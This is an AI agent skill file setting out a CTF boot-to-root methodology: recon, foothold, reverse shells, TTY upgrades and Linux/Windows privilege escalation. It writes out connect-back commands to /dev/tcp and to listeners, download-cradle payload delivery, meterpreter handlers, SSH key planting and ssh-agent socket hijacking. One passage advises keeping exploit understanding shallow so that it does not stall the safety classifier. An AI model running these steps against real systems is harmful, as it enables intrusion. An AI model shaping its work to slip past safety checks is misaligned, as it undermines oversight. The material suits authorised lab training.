Boot-to-root methodology for a full machine (THM/HTB/PG/CTF box, "get user.txt+root.txt", "root the box", "foothold to root"). Enforces basic-tool recon (nmap, nc, ffuf, nuclei, dig) before anything custom, wiki-first lookups, and ALWAYS pspy + linpeas/winpeas for privesc. Use when handed a box/IP to own end-to-end.
npx skills add https://github.com/Encod3d-Sec/TORCH --skill ctf-box
Own a whole machine: recon -> service triage -> foothold -> user.txt -> privesc -> root.txt.
Run everything from the engagement tooling host (e.g. Kali in tmux), capture into targets/<eng>/.
Track progress in targets/<eng>/Approach.md -- work the current phase's open items, mark [x] as each
lands; honor GATE 1 (no hand-rolled exploit before its wiki item is [x]), GATE 2 (no exploit step [x]
without a poc/ image), GATE 3 (exhausted vector -> [!] + one Deadends.md line, never re-run it).
Run python3 scripts/campaign.py next before every exploit step, and done/pass-done after each lands. The driver reprints the required posture (msf-shell rule, searchsploit+msf-first, the RTL stop-tells) and is the forcing function now that the drift-guard block is advisory-only - do not free-hand a box off the board.
This mandate stands over every phase below. Before writing ANY custom script or recalling an exploit from memory:
qmd_query "<tech/version> exploit" and qmd_query "<service> privilege escalation" via wiki-search MCP. Read matches. If the MCP is down (it drops mid-session), run bash scripts/wiki-query.sh "<tech> exploit" (same qmd index; -k for an exact CVE) - do NOT skip wiki-first or fall back to grep.wiki/payloads/ and chains from wiki/cheatsheets/attack-chains.md + wiki/cheatsheets/cve-arsenal.md, or Skill(arsenal) to resolve the exact file.wiki/techniques/linux/linux-privesc.md / wiki/cheatsheets/linux-privesc.md (or windows-privesc).Only after the wiki has nothing do you write a custom PoC. Do not reinvent what the wiki already documents.
Tooling home: check /opt/arsenal first for pspy/linpeas/shot/capture. pspy64/linpeas/winPEAS live in /opt/arsenal, seeded by vm-provision.sh from their GitHub releases; our own helpers (shot.py, capture.sh) are pushed on demand by bash scripts/vm-sync.sh <name> from the vault.
Version-pinned tooling -> a THROWAWAY docker container, never mutate the VM's runtime. A tool that needs a specific/older interpreter or an abandoned dependency (e.g. h2csmuggler pins the deprecated hyper lib and only runs on Python <=3.11; a legacy exploit needs node:16) should run inside a disposable container matched to that version, NOT via a host downgrade or a fragile venv that leaves the Kali VM in a broken state for the next box. docker run -it --rm -v $(pwd):/app python:3.11 bash (swap the tag: python:3.9, node:16, ...); --rm deletes it the moment you exit, so nothing persists and nothing on the VM breaks. Keep the VM's system python/tooling pristine.
Anti-pattern: a raw one-shot bash /root/vm.sh '<exploit>' (or an inline node -e/python3 -c payload through it) for a listener, shell, or chained exploit is the smell this mandate exists to catch -- it skips wiki-first and leaves no session to capture. Run persistent/interactive steps in their own named tmux tab instead: scripts/vm-scan.sh <eng> <target> '<cmd>'.
Use the standard toolkit. Do NOT hand-roll recon scripts.
Preflight (every engagement, before scanning): prune the tooling VM's /etc/hosts and /etc/krb5.conf of PRIOR-box entries. The VM persists across boxes, so a stale <ip> <domain>/<realm> line (or a stale default_realm) silently mis-resolves this box while nxc/certipy (explicit IP) look fine; impacket Kerberos hangs on a dead KDC instead. bash /root/vm.sh 'grep -vE "^#|^127\.|^::1|^$" /etc/hosts', delete any line not for this box, add only this target; bash /root/vm.sh 'grep -i default_realm /etc/krb5.conf', blank/reset it.
Tooling-first: rustscan/nmap/feroxbuster/ffuf/nuclei/nxc, never a hand-rolled /dev/tcp or curl fuzz loop (skips the fingerprint router). feroxbuster is the DEFAULT web content-discovery tool (recursive, faster than ffuf/big.txt); launch it the moment nmap shows a web port; ffuf is for param-mining + vhosts.
Card EVERY scan tab AS it finishes, not at the end: scripts/capture.sh recon <eng> <slug> <tab> renders the tmux tab into recon/, rustscan, nmap, feroxbuster, ffuf, nuclei, whatweb (its own tab). Even an empty result gets a card. status.py surfaces the recon-card count.
ONE tmux session per engagement, one WINDOW per parallel scan. bash scripts/vm-scan.sh <eng> <target> '<scan>' for the first, then --win nuclei/--win ferox/--win whatweb for the rest on the same host; never bump the session name to dodge a collision. Screenshot a tab with Skill(screenshot) --tmux <eng>:<tab>.
vm.sh drops long foreground commands (exit 255, no output) past ~2 min. Run scans/cracks/sprays DETACHED (a tmux tab via vm-scan.sh, or nohup <cmd> >/tmp/out 2>&1 & + poll for a DONE marker), never blocking one vm.sh call. Stdin is not forwarded through vm.sh; push files via base64 (echo <b64> | base64 -d > ~/file), write+run in one call.
Never pkill -f <pattern> with a pattern that also matches your OWN driver/ssh command - it kills your own tooling (a pattern on the target IP can match the ssh session carrying it).
T=<ip>
rustscan -a $T --ulimit 5000 -g # fast full-port sweep -> open-port CSV
nmap -p<found> -sCV -Pn $T -oN nmap-svc.txt # version/script scan on rustscan's hits
nmap -p- --min-rate 2000 -T4 -Pn $T -oN nmap-all.txt # full-TCP confirm (own tmux tab)
nc -nv $T <port> # manual banner / custom-proto services
dig any @$T <domain>; dig axfr @$T <domain> # DNS if 53 open / vhost hints
nxc smb $T -u '' -p '' --shares # SMB: netexec first (fingerprint router), not smbclient
nxc smb $T -u 'guest' -p '' --shares --rid-brute # guest fallback + RID-cycle user enum
smbclient -N //$T/<share> -c 'recurse;ls' # smbclient only to pull a specific file/share
# --- web ports found: feroxbuster (primary) + nuclei + whatweb IN PARALLEL, own tmux tab each ---
feroxbuster -u http://$T -w /tmp/harness-paths.txt -x php,txt,log,sql,bak,zip,env,old,conf -d 2 --no-state -o ferox.txt # our high-signal list first
feroxbuster -u http://$T -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,txt,log,bak -d 2 --no-state # then the big list
bash scripts/backup-sweep.sh http://$T ferox.txt # full-filename backup suffixes (.bak/~/.old/...) ferox -x misses; BURP_PROXY=127.0.0.1:8080 to route via Burp
ffuf -c -u "http://$T/?FUZZ=x" -w scripts/wordlists/harness-params.txt -fs <baseline> # param mining
ffuf -c -u http://$T/ -H "Host: FUZZ.$T" -w <vhost-wordlist> -mc all -o vh.json # vhosts: diff redirect Location, don't filter by code (a decoy vhost 302s the same place; the real one differs)
ffuf -c -u "http://$T/~FUZZ/" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc 200,301,403 # Apache userdir (~name) - no dir wordlist carries these, fuzz explicitly
nuclei -u http://$T -o nuclei.txt
whatweb -a3 http://$T ; curl -s -I http://$T # own tmux tab so it gets a recon card
wpscan -u http://$T # if WordPress
Missing -w wordlist = ffuf prints help text and silently finds NOTHING (a false "no hidden endpoints"). Preflight every fuzz (ls "$W" || W=/usr/share/wordlists/dirb/big.txt); seclists may be absent on the VM, push harness lists over via base64 first.
Slow vs worker-starved, don't conflate them. Fast HTTP 000 under concurrency (ffuf/sqlmap/parallel scans) = the box is WORKER-STARVED: back off to serial, one request per call, drop fuzzers, let it drain. A request that just never returns = the box is SLOW, not dead: raise the timeout to 120s+ and be patient (a heavy CMS/backend page can take 60-90s). Tell: nmap shows "filtered" but a single nc/curl connection succeeds = it drops fast-scan probes, switch to gentle serial mode rather than declaring it dead.
On any TLS host, dump the cert SANs early; a hidden vhost that decoy services and ffuf/feroxbuster never surface can be listed only in the Subject Alternative Name, see [[cdn-waf-bypass]].
On any web surface, before moving to exploitation, all of this, in parallel where possible:
capture.sh web <eng> <slug> http://T:PORT/ (browser shot) + curl -s http://T:PORT/ > poc/<slug>-source.html (raw source), for EVERY distinct surface (login, dashboards, OSINT/social apps) as you open it.grep skips. Never pipe an exploit/lead response through head/grep before reading it whole.Skill(hunt-burp), card with capture.sh burp.fetch(/axios//api/token/secret/admin; a JS/SPA's POST-only JSON API is invisible to feroxbuster/ffuf (they GET, a bare /api 404s so recursion never descends). The moment source reveals something load-bearing, capture it: scripts/capture.sh snippet <eng> <slug> <url-or-file> '<pattern>' '<what it reveals>' -> paste the fenced block into walkthrough.md Recon.Fingerprint the exact app + version. Skill(arsenal) FIRST on any fingerprinted surface (maps it to wiki/tools/ automation), then INVOKE Skill(hunt-<class>) for each fingerprinted vuln class; actually load and follow it, not just the router's advisory nudge (a routed-but-never-invoked hunt skill is drift in eval.md). Record HOW each vuln was discovered, not just the exploit; screenshot findings as they land. OT/ICS ports (502/102/44818/1880, an HMI web app) -> Skill(hunt-ics). A web surface -> scripts/recon-web.sh <eng> <url> (fans out feroxbuster+nuclei+whatweb+backup-sweep); re-run per new vhost/path, nothing auto-launches it.
searchsploit <app> <ver> (local Exploit-DB; -m <id> to copy a PoC, -x to read it) and msfconsole -qx "search <app>; exit" (a ready use-able module = often an instant shell). A matching msf module or a copy-pasteable searchsploit PoC beats writing your own. Cross-check with the wiki CVE lookup ([[cve-arsenal]] · [[metasploit]]); prefer the documented/ready PoC over a fresh one. (GATE 1 still holds: the wiki item for the tech is [x] before a hand-rolled PoC - but a canned searchsploit/msf exploit for a known version IS the wiki-blessed tool, use it.) For the full search->use->check->run sequence and DB-backed recon, drive it through Skill(metasploit) rather than free-handing msfconsole.[[wp2shell]], a searchsploit/msf module, a vendor advisory PoC), drive it through its documented CLI as a trusted reference. Opening a tool's full source to study its mechanics wastes tokens and can stall the engagement on the safety classifier; keep your understanding at the WHAT-it-does / HOW-to-invoke level (its wiki page), not the source level. When a step needs a PoC pulled from GitHub (or any external exploit fetched/run), pause for the OPERATOR's nudge - the operator supplies the authorizing context at that point rather than the agent deriving the mechanics itself.wiki/payloads/ for the fingerprinted class (GATE 1: the wiki item is [x] before you hand-roll a PoC).targets/<eng>/poc/scripts/ before firing, so the code and the run are captured together.000/timeout/empty-reply) - a vector that DoSes a lab box is almost never intended; (2) two verified hashes in a row fail the wordlist - the passwords are delivered out-of-band (email/note/KeePass/config), so stop cracking and read the app's OTHER surfaces (LFI/source, a second vhost, mail) for where creds are handed out. Re-fingerprint the asset for untested classes (coverage / campaign.py board) before extracting a third hash. When the next door is not obvious, call Skill(redteamlead) for wiki-grounded ranked directions with a STOP - one RTL call the moment a vector fights back beats an hours-long sunk-cost grind (do not wait to be told; the box's /redteamlead reminder is a real instruction).curl/wget to your listener port, or bash -c 'echo x >/dev/tcp/<you>/<port>') across a couple of ports; if connect-back is filtered, DO NOT grind ports or a reverse shell - pivot to an HTTP-pull + one-shot-webshell/SSH channel (the box's "beacons OUT on a schedule" theme is a literal hint the network is egress-shaped). Deliver the shell payload base64-wrapped or as a hosted script run via a download cradle, NEVER a nested-quote bash -i >& /dev/tcp/... one-liner through the vm.sh -> ssh -> --cmd bridge (the quotes mangle and you cannot tell a dead port from a mangled payload - same delivery discipline as vm-rsh.sh for commands).nc shell has no job control, no arrow keys, no tab-complete, and Ctrl-C kills it). Full TTY-upgrade dance, in order: python3 -c 'import pty;pty.spawn("/bin/bash")' (fall back to python/python2 if python3 is absent; script -qc /bin/bash /dev/null if no python) -> Ctrl+Z to background -> stty raw -echo; fg (hands your terminal's raw mode to the shell; press Enter twice) -> export TERM=xterm (fixes clear/less/vim). Then set stty rows <R> cols <C> to your local stty size if editors wrap. Or better, drop your SSH key into a writable user's ~/.ssh/authorized_keys for a resilient, already-interactive session. (Windows shells: no PTY dance; grab a proper shell via a C2/ConPtyShell or just RDP/WinRM once you have creds.)msfconsole multi/handler - never a raw nc listener by default. A raw nc PTY has the footgun that Ctrl-C kills the LISTENER (dropping the shell back to your own prompt - the false-RCE trap) and needs quoting gymnastics to drive. Default the payload to meterpreter (linux/x64/meterpreter/reverse_tcp etc.); when meterpreter is blocked or unstable - routine on Windows/EDR, where the stager dies but a plain shell survives - fall back to a plain shell_reverse_tcp payload still caught in multi/handler (a bare nc/vm-scan.sh --win shell listener is the last resort). Meterpreter also gives autoroute/portfwd/socks to reach internal-only ports - use that before hand-rolling SSH -L forwards. msfconsole/msfvenom are on the VM. (An already-interactive SSH/evil-winrm/cred session needs none of this - drive it directly.) Drive the whole handler setup + catch through Skill(metasploit).scripts/vm-rsh.sh <eng> '<cmd>' - it base64-wraps the command so any metachars survive the vm.sh -> ssh -> tmux bridge and returns clean output. NEVER hand-quote tmux send-keys + capture-pane, or /dev/tcp file-transfers, to run commands; that quoting hell is a known repeat drift.ControlMaster/ControlPersist (plus -L forwards for internal-only ports), or a reverse shell that survives home-perm resets. Opening a fresh SSH per command through an unstable VPN tunnel was the dominant wall-clock sink on a recent box. See [[pivoting]].targets/<eng>/loot.md immediately; try reuse (su / ssh / other services) BEFORE hunting new ones. DB/web creds are very often reused for SSH.su and SSH are NOT equivalent - PermitRootLogin no makes ssh root@ fail while su root with the same password succeeds, so a "root: []" SSH result is NOT a negative for root (needs a PTY: pty.spawn/script -qc).load_dotenv() / os.environ.get(...) keeps its REAL password in a .env beside the source, not in the seeded .sql. Read every config the app actually loads, and diff it against what the leak gave you.ALL PRIVILEGES lets you read the DBMS's own account table; a second, otherwise-invisible account there is a deliberate lead. MySQL 8 caching_sha2_password ($A$005$...) is hashcat -m 7401 (see [[password-cracking]], [[mysql]]) - convert $A$<iter>$<20-byte salt><43-byte digest> to $mysql$A$005*<salt-hex>*<digest-hex>. A DBMS password is a prime candidate for OS-account reuse.RCE-first (impact-first). When more than one vector is open, take the one that yields code-exec
first - an RCE foothold is the attack vector that carries impact. Grind XSS/IDOR/enum only after
code-exec is ruled out or the objective specifically needs them (the driver now ranks code-exec
classes ahead of access/enum rows).
Web foothold = STAY in Burp (anti-drift). If the foothold is an HTTP primitive (RCE/LFI/SSRF/authed
API), the recurring failure is abandoning Burp the instant it lands and scripting the ENTIRE
post-exploitation over raw curl/vm.sh/urllib - so the operator, who is watching Burp, loses all
visual on the exploitation. Keep the load-bearing follow-ups (the injection that reads user.txt, the
authed call that leaks config, each privesc-relevant fetch) in Burp Repeater (native mcp__burp__*
first, CLI bridge fallback; Skill(hunt-burp)). Quick throwaway enumeration loops over the bridge are
fine; the requests you'd screenshot are not throwaway. See CLAUDE.md "Burp-first does NOT stop at foothold".
STOP-and-think the moment ANY shell lands (before reaching for a shortcut). The recurring
failure is following the FASTEST path instead of the INTENDED one, then going off the rails. Pause and:
intended vector (a module lesson, a service left on, a labelled secret). qmd_query the wiki for
that theme + the exact fingerprinted tech before acting.
sudo -l, writable configs/cron/timers/scriptsyou own, group memberships, service creds - the deliberate path is almost always one of these and
pspy/linpeas surface it in seconds. **When a user is in sudo/wheel but the password is
nowhere findable AND cron/writable/SUID/group vectors dead-end, READ /etc/pam.d/{sudo,su} and
/etc/sudoers.d/* (not a grep) - a pam_ssh_agent_auth (hijack a forwarded agent socket in
/tmp/ssh-*/agent.* -> passwordless sudo), pam_exec, or bare NOPASSWD line IS the vector; a
user conspicuously in lxd/docker that's unreachable is often a DECOY (see [[linux-privesc]]).**
Read linpeas output WHOLE - the pam/sudoers tell is there but a keyword grep skips it.
We DO carry instant-escalation payloads for old kernels ([[privesc-exploit-arsenal]], [[dirty-frag]]) -
note the uname -r band as a fallback, but VERIFY the intended path is genuinely absent AND verify
the CVE precondition (userns/module/patch-band) before firing. A shortcut that works is fine; taking
it BEFORE checking the taught vector is the drift. Once you have full root, look back at what was
INTENDED and record it (walkthrough + Deadends), so the fast win still teaches the lesson.
The confirmed compile-and-run itself (cross-compile the PoC, deliver it, execute, verify) **is a
Skill(delegate) hand-off** - fully specified once the CVE/precondition is verified, cheap-model-shaped.
On an active meterpreter session, run post/multi/recon/local_exploit_suggester first (via
Skill(metasploit)) to surface the candidate before delegating the run.
Finish the foothold first (leftover Rule 2 techniques, if the shell landed mid-app):
--privileged/a loose cap can mask that a hardened config would block it, and it is less reproducible/auditable. Getting the flag via a shortcut is fine; SKIPPING the taught vector without testing it is the miss.' " numeric) and second-order (a stored value used unsafely on another page). If the app hashes the password inside the query, read plaintext from information_schema.PROCESSLIST. Load Skill(hunt-sqli) / see [[sql-injection]]..rodata blob, a PRNG pad with a hardcoded seed, /etc/machine-id), reproduce the derivation offline (the derivation functions are usually tiny) and VERIFY against one captured live signature, then forge - do not spend rounds guessing blob/machine-id/HMAC(blob,mid) permutations. Recognize the glibc rand() LCG (*0x41c64e6d + 0x3039, byte (state>>16)&0xff). See [[cryptography-attacks]] "binary signed-protocol forge".Then privesc = pspy ALWAYS + linpeas/winpeas, then manual. **Run a long tool reliably with
bash scripts/vm-bg.sh <eng> <win> '<tool>'** - it stages the tool to /dev/shm, runs it inside the
stabilized tmux shell (line-buffered to a /dev/shm/*.log), and you --read / --wait 120 the
logfile. Never hand-roll a backgrounded watcher over the one-shot SSH bridge (it gets reaped / tee
buffers), and never retry a broken tool-execution pattern >2x - switch method (vm-bg) or
Skill(redteamlead). See [[pspy]] / [[linpeas]].
pspy shows exec/process events, NOT unix-socket/IPC beacons. If the privesc lead is an internal listener/socket (a service "talking to itself" on loopback), RE and interact with THAT directly - do not grind pspy or stage linpeas for a socket-protocol vector they cannot see. Run pspy when the suspected vector is cron/timer/exec.
Always run pspy first to catch root-run background jobs/cron/timers that static checks miss:
# upload pspy64 (host it on the tooling box, curl/wget it down) and watch >=60s
./pspy64 -pf -i 1000 # see every exec + file event as root; reveals per-minute cron/systemd timers
Then the automated sweep:
./linpeas.sh # linux (winpeas.exe / winpeas.bat on windows)
# AVOID `-a` (deep/thorough) on small boxes (<=1-2 GB RAM, most THM VMs): the full scan can
# OOM-thrash the target until every service (ssh/http/db) times out - looks exactly like the box
# crashed. Use the default scan, or throttle: `nice -n19 ionice -c3 ./linpeas.sh`. If it does hang
# the box, `pkill -9 -f linpeas` (kill it as the user that launched it) and load drains in seconds.
Capture linpeas/pspy TWO ways: a --term screenshot of the highlighted findings (Skill(screenshot),
the colored hits survive) AND the FULL text log - redirect the tool to a file, then
scripts/capture.sh log <eng> <slug> /tmp/linpeas.txt pulls the whole scan (ANSI stripped) into
poc/NN-<slug>.md. The screenshot is unreadable past one screen; the .md keeps every line so you
(and the operator) can grep it later. Do this for full nmap output too when it is long.
Read-whole is not just for recon: grep is NOT the read for PAYLOAD RESULTS or pspy/linpeas output either. A UNION/echo dump can reflect in an unexpected phrasing (singular "1 word" vs plural "N words"), and a root cron hides in the full pspy stream; read the whole result block, not a keyword grep.
Then walk the manual checklist (do not skip any; the box's intended path is usually ONE of these):
| Check | Command | Win = |
|---|---|---|
| sudo rights | sudo -l | NOPASSWD/GTFObin -> root |
| SUID/SGID | find / -perm -4000 -o -perm -2000 2>/dev/null | GTFObins |
| Capabilities | getcap -r / 2>/dev/null | cap_setuid etc. |
| Cron | cat /etc/crontab /etc/cron.d/*; ls -la /etc/cron.* + pspy | writable/relative-path script |
| systemd timers | systemctl list-timers --all + systemctl cat <svc> | writable ExecStart script run as root (e.g. THM Ollie feedme.timer) |
| Writable root files | writable scripts/units root executes; /etc/passwd writable | inject payload, wait for trigger |
| Groups | id (docker/lxd/disk/adm/shadow) | group->root GTFO |
| Creds | configs, history, DB, .ssh, backups | reuse / su |
| Kernel/pkg CVE | uname -r; pkg versions (pkexec/polkit, sudo, dbus) | LAST resort - check the patch level first ([[linux-privesc]]) |
Box-specific chains now live in wiki (see the technique pages linked per class in approach-notes.json REFS).
Don't assume the flag path (e.g. /root/root.txt); once you have exec, find it - the root flag can live at a non-standard path.
After each phase, write to targets/<eng>/: hosts/access -> state.md, creds -> loot.md, chain -> state.md's ## Chain section, vulns -> Vuln-index.md, dead-ends -> Deadends.md, narrative -> walkthrough.md (at close-out). Flags go in the writeup, never in session/* or wiki/.
Board hygiene, live (GATE 3). state.md's ## Chain section and Deadends.md rot under momentum while other state.md prose absorbs the narrative instead; the instant a vector (a potato variant, a kernel CVE, a cred spray) is exhausted, append ONE Deadends.md line + set its status in state.md's ## Chain BEFORE trying the next. status.py shows board phase + deadend count to spot the drift.
Live-capture machinery; evidence is never backfilled at close-out:
scripts/autocard.sh, capped AUTOCARD_MAX=2/run) renders any finished scan tmux tab into recon/; hand-carding as you go (Phase 1: capture.sh recon <eng> <slug> <tab>) stays PRIMARY. 0 cards while tabs finished = VM down / timeout missing; hand-card now.state.md/loot.md immediately, never deferred.export/$VAR, NO ;/&&-chains, NO echo banners, NO base64/pty wrappers. Re-run the clean single command for the capture even if a messy pipeline was needed to work the box (that stays in poc/scripts/).walkthrough.md (assembled at close-out) is the narrative and the clean human version (concrete one-liners, no $VARs); the messy automation (base64 wrappers, pty helpers) stays in poc/scripts/.
Read UI/source hints literally before fuzzing. A placeholder, button label, or leaked source usually states the intended input format directly; do not default to injection-fuzzing a field that already told you its format.
Locally-substituted payloads = false-positive RCE. $(...)/backticks/$VAR sent through the VM bridge or any local shell get substituted LOCALLY before reaching the target, and the tooling VM runs as root; a reflected uid=0 may be YOUR box. Always single-quote or base64 injection payloads; confirm execution with a target-only marker (hostname, a file only it has) before claiming RCE.
Preserve exploit scripts and source reads. Copy any exploit script or read target source into targets/<eng>/poc/scripts/, saved as <name>.md with a fenced code block (sh/js/py/html), NOT a bare .sh/.js/.py, since Obsidian only previews .md/images. capture.sh snippet <eng> <slug> <url-or-file> '<pattern>' '<reveals>' for a targeted excerpt.
Video/media -> mp4 into poc/ early. ffmpeg -i <in> -c copy poc/<slug>.mp4, then hand it to the operator; a visual puzzle (shoulder-surf, on-screen code) is far cheaper read by a human than brute-analyzed frame-by-frame; frame extraction/OCR is the fallback, not the opening move.
Screenshot every successful step live, not at the end. Capture EACH privilege milestone (foothold / user / operator / root) the MOMENT it lands - a fast box is not an excuse to defer capture to walkthrough time (a transient exploited state may not be re-shootable, and backfilling evidence is the documented drift). No auto-capture net exists; scripts/capture.sh (ev/req/tmux/burp) captures straight into poc/ the moment a step lands. capture.sh ev <eng> <slug> "<url>" "<cmd-label>" for a one-call output+request card; capture.sh req <eng> <slug> -- <curl-args> for a full request/response card; capture.sh tmux for a session card; capture.sh burp for a Repeater PoC. Skill(screenshot) covers authed/exploited GUI states. Never hand-write a --term card (fabricated evidence); tee real output into the pane if it was redirected to a file. python3 scripts/build-walkthrough.py <eng> auto-populates the ## Evidence gallery from every poc/ card.
Grow the harness wordlist. A non-obvious route/param that cracked the box -> python3 scripts/wordlist-suggest.py (leak-safe) then scripts/wl-add.sh paths <token> / wl-add.sh params <name>, generic methodology names only, never client branding.
Leave-no-trace at close-out (pentest/real engagements only; optional on CTF/lab). Before marking a real engagement done, remove what you dropped on the target: planted SSH keys in authorized_keys, uploaded tools (pspy/linpeas/webshells) in /tmp /dev/shm /var/www, staged exploit scripts, and any throwaway account you created. Track droppings as you plant them so cleanup is a checklist, not a memory test. (On a CTF this is optional - note it, don't grind.)
<!-- auto-wired: documented tools to reach for; do not hand-roll -->
Take encod3d-sec/ctf-box from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.
The instructions reference docker.
Without those the skill loads but fails at the first command.